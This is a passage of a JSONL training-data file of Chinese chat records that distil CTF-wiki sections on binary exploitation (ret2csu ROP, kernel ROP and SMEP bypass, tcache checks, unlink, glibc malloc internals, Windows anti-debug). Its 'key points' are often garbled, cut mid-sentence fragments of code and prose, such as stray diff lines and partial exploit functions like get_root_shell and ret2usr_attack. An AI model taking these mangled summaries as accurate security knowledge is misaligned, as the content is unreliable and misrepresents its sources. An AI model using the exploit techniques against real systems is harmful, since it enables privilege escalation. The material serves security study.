Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabledd PIE: No PIE (0x400000) ` 程序为 64 位，开启了堆栈不可执行保护。\n- } ` 简单浏览下程序，发现程序中既没有 system 函数地址，也没有 /bin/sh 字符串，所以两者都需要我们自己去构造了。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:python\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5`\n- c: 5 行，首行 `ssize_t vulnerable_function()`\n- python: 41 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2304, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["中级ROP", "ret2csu", "示例"], "original_id": "docs-8e28243e6abdda8efd8d", "original_line": 1279, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "d873a76efb2a71fe180c3ef6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:python"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7bd73b560ec0cf8b3a68", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「QEMU Object Model」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > QEMU Object Model\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“QEMU Object Model”展开。\n- Property：动态对象数据的访问器（accessor），可以通过监视器接口进行检查。\n- 在 Qemu 当中有着一套叫做 Qemu Object Model 的东西来实现面向对象，主要由这四个组件构成： - Type：用来定义一个「类」的基本属性，例如类的名字、大小、构造函数等。\n- Class：用来定义一个「类」的静态内容，例如类中存储的静态数据、方法函数指针等。\n- Object：动态分配的一个「类」的具体的实例（instance），储存类的动态数据。\n- 类似于 Golang，在 QOM 当中使用成员嵌套的方式来完成类的继承，父类作为类结构体的第一个成员 parent 而存在，因此也不支持多继承。\n\n关键术语：\n- ROP/JOP\n- pwn\n- virtualization\n- qemu\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 396, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "QEMU Object Model", "heading_path": ["编写 QEMU 模拟设备", "QEMU Object Model"], "original_id": "docs-13adf5b732bdebf7b7b1", "original_line": 1430, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "d0302628d711c37887c0990b", "subcategory": "pwn/virtualization/qemu", "terms": ["ROP/JOP", "pwn", "virtualization", "qemu", "environment"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7bef130608638ef18e7a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「例题：强网杯2018 - core」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > 例题：强网杯2018 - core\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：强网杯2018 - core”展开。\n- 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/QWB2018-core](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/QWB2018-core) 下载。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "例题：强网杯2018 - core", "heading_path": ["Kernel ROP", "例题：强网杯2018 - core"], "original_id": "docs-486299c2c5f91aa25c50", "original_line": 823, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "9bc758784f492e824e38d410", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7c0d299fe54eac5ca867", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「0x04 Tcache Check」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x04 Tcache Check\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x04 Tcache Check”展开。\n- / There is one of these for each thread, which contains the @@ -2990,6 +2992,11 @@ tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);\n- However, we don't 100% + trust it (it also matches random payload data at a 1 in + 2^ chance), so verify it's not an unlikely coincidence + before aborting. / + if (__glibc_unlikely (e->key == tcache && tcache)) + { + tcache_entry tmp;\n- @@ -3005,6 +3012,7 @@ tcache_get (size_t tc_idx) assert (tcache->entries[tc_idx] > 0);\n- } @@ -4218,6 +4226,26 @@ _int_free (mstate av, mchunkptr p, int have_lock) { size_t tc_idx = csize2tidx (size);\n- + / Check to see if it's already in the tcache. / + tcache_entry e = (tcache_entry ) chunk2mem (p);\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 56 行，首行 `index 6d7a6a8..f730d7a 100644 (file)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2209, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "0x04 Tcache Check", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x04 Tcache Check"], "original_id": "docs-32b69806d745795fc5fe", "original_line": 1053, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "f980787e043a13167f0a1318", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7c447d19eca13d07a75b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/the-heap.md` 中的章节「堆指针已知」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/the-heap.md`\n标题：The Heap\n章节：The Heap > 堆指针已知\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“堆指针已知”展开。\n- 如果已知一个堆指针, 那么我们可以直接检查堆块里的数据. 然而在Windows Vista及更高版本中采用了堆保护机制(32位/64位都有), 使用了一个异或密钥来对堆块大小进行了加密. 虽然你可以选择是否使用密钥, 但是默认是使用的. 而且就堆块首部的位置, 在Windows NT/2000/XP和Windows Vista及更高版本之间也是不相同的. 因此我们还需要将Windows版本也考虑在内. 可以使用以下32位代码来检测32位环境: `` asm xor ebx, ebx call GetVersi...\n- overhead sub eax, ecx lea edi, [rdx8+rax] mov al, 0abh mov cl, 10h repe scasb je being_debugged `` 这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析.\n- get process heap base mov ecx, [eax+24h] ;\n- check for protected heap jecxz l1 mov ecx, [ecx] test [eax+4ch], ecx cmovne ebx, [eax+50h] ;\n- conditionally get heap key l1: mov eax,  movzx edx, w [eax-8] ;\n\n关键术语：\n- 堆\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `或使用以下64位代码检测64位环境:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1323, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "堆指针已知", "heading_path": ["The Heap", "堆指针已知"], "original_id": "docs-4ef711da416feea6205d", "original_line": 86, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "source_root": "docs", "source_sha256": "e3df90c62bb57b1c46579cc752d8869c98cee6102d68c64a3e4d28f1e2c098f5", "split": "train", "split_group_key": "cac0a510ae7f50d3ebeb5ec1", "subcategory": "reverse/platform/windows", "terms": ["堆", "reverse", "platform", "windows", "anti-debug"], "title": "The Heap"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7c72384902ea8966cc11", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「情况 1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 内存可能申请成功 > 情况 1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“情况 1”展开。\n- ``c / If MORECORE extends previous space, we can likewise extend top size. / if (brk == old_end && snd_brk == (char *)(MORECORE_FAILURE)) set_head(old_top, (size + old_size) | PREV_INUSE);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 201, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "情况 1", "heading_path": ["define DEFAULT_TOP_PAD 131072", "内存可能申请成功", "情况 1"], "original_id": "docs-ae6e0a0edd13c8288195", "original_line": 1171, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "864c40360c68d059e5d5a80c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7c94098686c0d1731cb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md` 中的章节「例题：强网杯2018 - core」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md`\n标题：bypass-smep （已过时）\n章节：0x1407e0 = 101 0 0000 0011 1111 00000 > 例题：强网杯2018 - core\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：强网杯2018 - core”展开。\n- 文件: figure/ret2usr_failed.png] 那么这里我们只需要通过 ROP 来关闭 SMEP&SMAP 即可继续 ret2usr，这里笔者用与运算将 SMEP 与 SMAP 的两位给清除掉了，实际上直接给 cr4 赋值 0x6f0 也是可以的（通常关了以后都是这个值）。\n- } void get_root_shell(void) { if(getuid()) { log_error(\"[x] Failed to get the root!\n- void ret2usr_attack(void) { prepare_kernel_cred_kfunc = (void()(void)) prepare_kernel_cred;\n- if(fd < 0) { log_error(\"[x] Failed to open the /proc/core !\n- if(ksyms_file == NULL) { log_error(\"[x] Failed to open the sym_table file!\n\n关键术语：\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:sh\n- code:c\n\n代码/命令片段线索：\n- sh: 9 行，首行 `qemu-system-x86_64 \\`\n- c: 165 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5026, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例题：强网杯2018 - core", "heading_path": ["0x1407e0 = 101 0 0000 0011 1111 00000", "例题：强网杯2018 - core"], "original_id": "docs-771601d21040726a53f6", "original_line": 799, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "source_root": "docs", "source_sha256": "69b81f760f7d2f63881ef68284bec9da46903bc954671ec7e3d187e6a84a12fc", "split": "train", "split_group_key": "9fc706f7241de108eaa61084", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:sh", "code:c"], "title": "bypass-smep （已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7deec5c9583c2dc4fdf4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2014 HITCON stkof > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 程序存在 4 个功能，经过 IDA 分析后可以分析功能如下 - alloc：输入 size，分配 size 大小的内存，并在 bss 段记录对应 chunk 的指针，假设其为 global - read_in：根据指定索引，向分配的内存处读入数据，数据长度可控，这里存在堆溢出的情况 - free：根据指定索引，释放已经分配的内存块 - useless：这个功能并没有什么卵用，本来以为是可以输出内容，结果什么也没有输出\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 215, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["触发 system('/bin/sh')", "2014 HITCON stkof", "基本功能"], "original_id": "docs-e9eae56eb662e610263e", "original_line": 1079, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "be13202a5a88a354ddcf504b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7e2e77502015dc21d227", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Fast Bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > Fast Bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“Fast Bin”展开。\n- / ` 为了更加高效地利用 fast bin，glibc 采用单向链表对其中的每个 bin 进行组织，并且每个 bin 采取 LIFO 策略，最近释放的 chunk 会更早地被分配，所以会更加适合于局部性。\n- 如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并，那么当下一次再次申请相应大小的 chunk 时，就需要对 chunk 进行分割，这样就大大降低了堆的利用效率。\n- Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls.\n- 4 : 3)) - 2) ` 需要特别注意的是，fastbin 范围的 chunk 的 inuse 始终被置为 1。\n- 也就是说，当用户需要的 chunk 的大小小于 fastbin 的最大大小时， ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块，如果有的话，就会直接从这个 bin 中获取 chunk。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 20 行，首行 `/*`\n- c++: 55 行，首行 `#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)`\n- c++: 6 行，首行 `#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ])`\n- c++: 11 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5117, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Fast Bin", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "Fast Bin"], "original_id": "docs-ca394cca662a6abd50a7", "original_line": 955, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "2b6c560e6f4d932b6350e01d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7e8269f4d02d108eb4c0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「简单的检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 简单的检查\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简单的检查”展开。\n- ``c++ / Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space.\n- // 指针必须得对齐，2SIZE_SZ 这个对齐得仔细想想 if (__builtin_expect((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect(misaligned_chunk(p), 0)) { errstr = \"free(): invalid pointer\";\n- have_lock && locked) __libc_lock_unlock(av->mutex);\n- malloc_printerr(check_action, errstr, chunk2mem(p), av);\n- } / We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. / // 大小没有最小的chunk大，或者说，大小不是MALLOC_ALIGNMENT的整数倍 if (__glibc_unlikely(size < MINSIZE || !\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n- code:c\n\n代码/命令片段线索：\n- c++: 23 行，首行 `/* Little security check which won't hurt performance: the`\n- c: 5 行，首行 `/* Check if m has acceptable alignment */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1172, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "简单的检查", "heading_path": ["释放内存块", "_int_free", "简单的检查"], "original_id": "docs-2ec59fde8b00e26389ab", "original_line": 1130, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "9d2f00ed9a1865d3921e4d29", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++", "code:c"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7f4659b67715ef737bec", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「处理连续内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 内存可能申请成功 > 处理其他意外情况 > 处理连续内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“处理连续内存”展开。\n- It might be enough to proceed without failing.\n- Note that if second sbrk did NOT fail, we assume that space is contiguous with first sbrk.\n- This is a safe assumption unless program is multithreaded but doesn't use locks and a foreign sbrk occurred between our first and second calls. / if (snd_brk == (char )(MORECORE_FAILURE)) { correction = 0;\n- } / If this isn't adjacent to existing space, then we will not be able to merge with old_top space, so must add to 2nd request. / correction += old_size;\n- ``c / handle contiguous cases / if (contiguous(av)) { / Count foreign sbrk as system_mem. / if (old_size) av->system_mem += brk - old_end;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 46 行，首行 `/* handle contiguous cases */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1721, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "处理连续内存", "heading_path": ["define DEFAULT_TOP_PAD 131072", "内存可能申请成功", "处理其他意外情况", "处理连续内存"], "original_id": "docs-c34bbf0b4ebbe3aaa57b", "original_line": 1174, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "15824bd7e1cc31fdfaedf805", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
